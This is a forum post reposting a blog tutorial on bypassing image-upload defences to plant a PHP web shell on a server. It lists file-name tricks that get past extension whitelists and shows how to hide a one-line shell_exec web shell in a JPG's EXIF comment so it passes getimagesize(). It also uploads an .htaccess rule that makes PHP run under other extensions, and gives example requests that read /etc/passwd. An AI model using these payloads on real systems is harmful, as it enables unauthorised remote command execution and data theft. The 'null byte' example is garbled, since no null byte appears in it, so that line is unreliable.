Jump to content
gafi

Image upload bypass extension + real image verification

Recommended Posts

Posted (edited)

During a website audit, upload forms and other interactive 'user-content' driven facilities are often found to be protected by client side and/or server side security checks. This tutorial presents the methods that can be used to circumvent these security checks. In this case we're specifically considering image uploads that allow JPG files in particular.

Each security measure numbered below will be briefly discussed and paired with an appropriate bypass method, this tutorial aims to provide a complete'ish solution.

[h=4]1. Client side file verification (with Javascript and/or HTML attributes)[/h]

<input name="fileToUpload" type="file" onchange="check_file()" >

if($_FILES['userfile']['type'] != "image/jpg")

The bypass is trivial, simply rename your shell with an allowed extension/content type by editing the request header data with an intercepting proxy, I like burp, but FF Tamper Data add-on is great too.

[h=4]2. A white-list of file extensions is in place so that anything that isn't a picture is DENIED:[/h]

$valid_file_extensions = array(".jpg", ".jpeg", ".gif", ".png");

Often there will then be some sort of string manipulation to determine the file name and extension of an uploaded file. The strength of this code will determine whether one of the following bypasses will work. Functions like 'strrchr' shown below may play a part in this process and may be passable given a little bit of imagination!

$file_extension = strrchr($_FILES["file"]["name"], ".");

Here is a list of bypasses:

shell.jpg.php (satisfies as check for jpg only)

shell.jpg.PhP (obfuscation)

shell.php;.jpg (sometimes can ignore whats after ";")

shell.php.jpg (the infamous NULL byte which comments out trailing text)

shell.php.test (defaults to first recognised extension ignoring "test")

shell.php.xxxjpg (still ends in .jpg, but not recognised extension so will default to php!)

.phtml (a commonly used php parsed extension often forgotten about!)

.php3/.php4/.php5 (valid PHP extensions possibly left out of extension blacklists)

[h=4]3.Perform further checks once uploaded to make sure it is a REAL image:[/h][h=4]$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);[/h]

The function getimagesize() effectively confirms whether the uploaded file is an image or not. At this point, all the other methods will fail (there are other functions that can be used with a similar goal such as checking image dimensions). The only full-proof solution is to actually upload a real image which will actually pass these checks rather than trying to bypass them.

We turn to the trusty JPG file as our example image. There is an amazing amount of information that can be stored in a jpg file along side the actualy image data. EXIF 'meta' data such as the camera model the image was taken on, image descriptions, and comments are editable with progams such as GIMP and even a hex editor. For purposes of this tutorial I use Exif Pilot

Create a small image (avatar size) in MSPaint (white background), we can use Exif Pilot to open/edit the file and edit the Exif data- inserting our PHP code into the 'comment' section. See the pic below, I am using my generic 'tiny shell' code to allow me to pass shell commands to the server on the fly.

Iew2dsa.jpg

code:

<?if($_GET['r0ng']){echo"<pre>".shell_exec($_GET["r0ng"]);}?>

Now we can upload the jpg file using an extension bypass shown earlier, and it will pass the real image check.

To run commands on the server, usage would be:

website.com/shell.jpg.php?r0ng=cat /etc/passwd

YyHTDmA.jpg

[h=4]4.Found an extension that will upload but its not valid php...[/h]Upload an .htaccess file which sets an arbitrary file extension to be processed as php. If there is already an .htacess file in the image upload directory this should be automatically overwritten.

Create a .htaccess file and put the following code, then upload it (replace .mp3 with whatever extension passed).

AddType application/x-httpd-php .mp3

Upload your shell as shell.mp3. Then access as: website.com/shell.mp3?r0ng=cat /etc/passwd

[h=4][/h][h=4]Sursa: http://hackers2devnull.blogspot.com/2013/05/how-to-shell-server-via-image-upload.html[/h]

Edited by gafi

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...